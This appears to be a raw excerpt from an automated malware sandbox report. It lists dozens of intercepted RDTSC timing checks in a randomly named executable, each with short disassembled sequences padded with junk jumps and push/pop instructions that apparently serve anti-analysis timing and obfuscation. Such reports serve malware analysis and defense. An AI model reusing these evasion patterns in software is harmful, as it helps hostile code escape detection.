Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 546090E second address: 5460938 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov si, di 0x00000011 mov di, DBCAh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5430499 second address: 54304C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0550D663D1h 0x00000009 and cx, 0D16h 0x0000000e jmp 00007F0550D663D1h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F0140 second address: 53F0158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0550733D14h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F0158 second address: 53F0197 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F0550D663CCh 0x00000010 and ecx, 2E54D2A8h 0x00000016 jmp 00007F0550D663CBh 0x0000001b popfd 0x0000001c push esi 0x0000001d mov ax, dx 0x00000020 pop edi 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F0550D663CDh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F0197 second address: 53F0216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0550733D17h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e jmp 00007F0550733D12h 0x00000013 and esp, FFFFFFF8h 0x00000016 pushad 0x00000017 movzx esi, dx 0x0000001a pushfd 0x0000001b jmp 00007F0550733D13h 0x00000020 sub ax, 535Eh 0x00000025 jmp 00007F0550733D19h 0x0000002a popfd 0x0000002b popad 0x0000002c xchg eax, ecx 0x0000002d pushad 0x0000002e mov bx, ax 0x00000031 movzx esi, dx 0x00000034 popad 0x00000035 push eax 0x00000036 pushad 0x00000037 mov bx, ax 0x0000003a push eax 0x0000003b push edx 0x0000003c mov dh, ch 0x0000003e rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F0216 second address: 53F026C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ecx 0x00000008 jmp 00007F0550D663D1h 0x0000000d xchg eax, ebx 0x0000000e jmp 00007F0550D663CEh 0x00000013 push eax 0x00000014 jmp 00007F0550D663CBh 0x00000019 xchg eax, ebx 0x0000001a pushad 0x0000001b jmp 00007F0550D663D4h 0x00000020 mov dx, si 0x00000023 popad 0x00000024 mov ebx, dword ptr [ebp+10h] 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a mov dl, ah 0x0000002c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F026C second address: 53F02D1 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 0BDFAE78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, ebx 0x0000000b popad 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f mov dword ptr [esp], esi 0x00000012 pushad 0x00000013 mov dx, ax 0x00000016 mov bx, cx 0x00000019 popad 0x0000001a mov esi, dword ptr [ebp+08h] 0x0000001d jmp 00007F0550733D12h 0x00000022 xchg eax, edi 0x00000023 pushad 0x00000024 push esi 0x00000025 pushad 0x00000026 popad 0x00000027 pop edi 0x00000028 mov ch, 1Eh 0x0000002a popad 0x0000002b push eax 0x0000002c jmp 00007F0550733D12h 0x00000031 xchg eax, edi 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F0550733D17h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F02D1 second address: 53F030C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edx, ax 0x00000011 call 00007F0550D663D4h 0x00000016 pop ecx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F030C second address: 53F036F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 3996B5EDh 0x00000008 pushfd 0x00000009 jmp 00007F0550733D0Ah 0x0000000e sub ax, C188h 0x00000013 jmp 00007F0550733D0Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c je 00007F05C24E1FE8h 0x00000022 jmp 00007F0550733D16h 0x00000027 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F0550733D17h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F036F second address: 53F0375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F0375 second address: 53F0379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F0379 second address: 53F03FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F05C2B14670h 0x0000000e pushad 0x0000000f mov eax, ebx 0x00000011 pushfd 0x00000012 jmp 00007F0550D663D9h 0x00000017 and al, 00000066h 0x0000001a jmp 00007F0550D663D1h 0x0000001f popfd 0x00000020 popad 0x00000021 mov edx, dword ptr [esi+44h] 0x00000024 jmp 00007F0550D663CEh 0x00000029 or edx, dword ptr [ebp+0Ch] 0x0000002c pushad 0x0000002d jmp 00007F0550D663CEh 0x00000032 movzx esi, di 0x00000035 popad 0x00000036 test edx, 61000000h 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F0550D663CFh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F03FA second address: 53F0417 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F0417 second address: 53F041D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F041D second address: 53F0450 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F05C24E1F58h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0550733D10h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F0450 second address: 53F045F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F045F second address: 53F0485 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [esi+48h], 00000001h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F0485 second address: 53F0489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 53F0489 second address: 53F04D6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0550733D18h 0x00000008 xor esi, 61996A18h 0x0000000e jmp 00007F0550733D0Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov cx, 3DCFh 0x0000001a popad 0x0000001b jne 00007F05C24E1EEAh 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F0550733D11h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410B3F second address: 5410B45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410B45 second address: 5410B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410B49 second address: 5410B4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410B4D second address: 5410B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F0550733D16h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410B73 second address: 5410B79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410B79 second address: 5410B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410B7F second address: 5410B83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410B83 second address: 5410BB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F0550733D0Ah 0x0000000f and esp, FFFFFFF8h 0x00000012 pushad 0x00000013 mov bx, cx 0x00000016 mov dx, si 0x00000019 popad 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F0550733D0Eh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410BB5 second address: 5410BB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410BB9 second address: 5410BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410BBF second address: 5410C16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 22F2B943h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov ecx, edx 0x0000000f pushfd 0x00000010 jmp 00007F0550D663D7h 0x00000015 sub cx, CD9Eh 0x0000001a jmp 00007F0550D663D9h 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F0550D663CDh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410C16 second address: 5410C41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F0550733D0Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410C41 second address: 5410C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410C45 second address: 5410C49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410C49 second address: 5410C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410C4F second address: 5410C63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 4928h 0x00000007 movsx edx, ax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410C63 second address: 5410C67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410C67 second address: 5410C6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410C6B second address: 5410C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410C71 second address: 5410CE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, B5h 0x00000005 pushfd 0x00000006 jmp 00007F0550733D0Fh 0x0000000b and al, 0000001Eh 0x0000000e jmp 00007F0550733D19h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov esi, dword ptr [ebp+08h] 0x0000001a pushad 0x0000001b push eax 0x0000001c call 00007F0550733D13h 0x00000021 pop esi 0x00000022 pop edi 0x00000023 mov cx, 2165h 0x00000027 popad 0x00000028 sub ebx, ebx 0x0000002a jmp 00007F0550733D11h 0x0000002f test esi, esi 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 pushad 0x00000035 popad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410CE0 second address: 5410CF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0550D663D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410CF4 second address: 5410D43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F05C24B938Fh 0x00000011 jmp 00007F0550733D16h 0x00000016 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001d jmp 00007F0550733D10h 0x00000022 mov ecx, esi 0x00000024 pushad 0x00000025 mov si, 5ABDh 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410D43 second address: 5410D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410D47 second address: 5410DDC instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0550733D16h 0x00000008 xor al, FFFFFFC8h 0x0000000b jmp 00007F0550733D0Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 je 00007F05C24B9337h 0x0000001a jmp 00007F0550733D16h 0x0000001f test byte ptr [77226968h], 00000002h 0x00000026 pushad 0x00000027 mov si, 8C7Dh 0x0000002b pushfd 0x0000002c jmp 00007F0550733D0Ah 0x00000031 sbb cx, DF58h 0x00000036 jmp 00007F0550733D0Bh 0x0000003b popfd 0x0000003c popad 0x0000003d jne 00007F05C24B9305h 0x00000043 jmp 00007F0550733D16h 0x00000048 mov edx, dword ptr [ebp+0Ch] 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410DDC second address: 5410DE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410DE2 second address: 5410E01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410E01 second address: 5410E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410E05 second address: 5410E09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410E09 second address: 5410E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410E0F second address: 5410E15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410E15 second address: 5410E4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ecx, 2912D4D5h 0x00000011 pushfd 0x00000012 jmp 00007F0550D663D2h 0x00000017 add ax, 05A8h 0x0000001c jmp 00007F0550D663CBh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410E4B second address: 5410E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0550733D14h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410E63 second address: 5410E8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007F0550D663D7h 0x0000000e xchg eax, ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410E8A second address: 5410E90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410E90 second address: 5410E96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410E96 second address: 5410E9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5410095 second address: 54100B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edi, 56BC8F20h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54100B2 second address: 54100B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54100B7 second address: 54100EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, di 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F0550D663D3h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0550D663D5h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54707AF second address: 54707B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54707B3 second address: 54707B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54707B7 second address: 54707BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54707BD second address: 54707EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0550D663D0h 0x00000008 mov dl, cl 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0550D663D4h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54707EE second address: 54707FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5470571 second address: 5470580 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5470580 second address: 5470586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5470586 second address: 547058A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54106EF second address: 54106F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54106F5 second address: 54106F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54106F9 second address: 541074D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F0550733D14h 0x00000010 or ax, 7AC8h 0x00000015 jmp 00007F0550733D0Bh 0x0000001a popfd 0x0000001b jmp 00007F0550733D18h 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 pushad 0x00000023 mov esi, 2BBC297Dh 0x00000028 push eax 0x00000029 push edx 0x0000002a mov edx, esi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5470A22 second address: 5470A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5470A26 second address: 5470A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5470A2C second address: 5470A7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c jmp 00007F0550D663D0h 0x00000011 call 00007F0550D663C9h 0x00000016 pushad 0x00000017 mov bx, cx 0x0000001a mov ecx, 04B8E069h 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007F0550D663CFh 0x00000026 mov eax, dword ptr [esp+04h] 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d mov bx, 4B38h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5470A7F second address: 5470A9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F0550733D17h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5470A9E second address: 5470B05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F0550D663D4h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F0550D663D1h 0x00000018 add ecx, 7E24B336h 0x0000001e jmp 00007F0550D663D1h 0x00000023 popfd 0x00000024 mov bh, ch 0x00000026 popad 0x00000027 pop eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F0550D663D6h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5470B59 second address: 5470B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5470B5D second address: 5470B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5470B61 second address: 5470B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
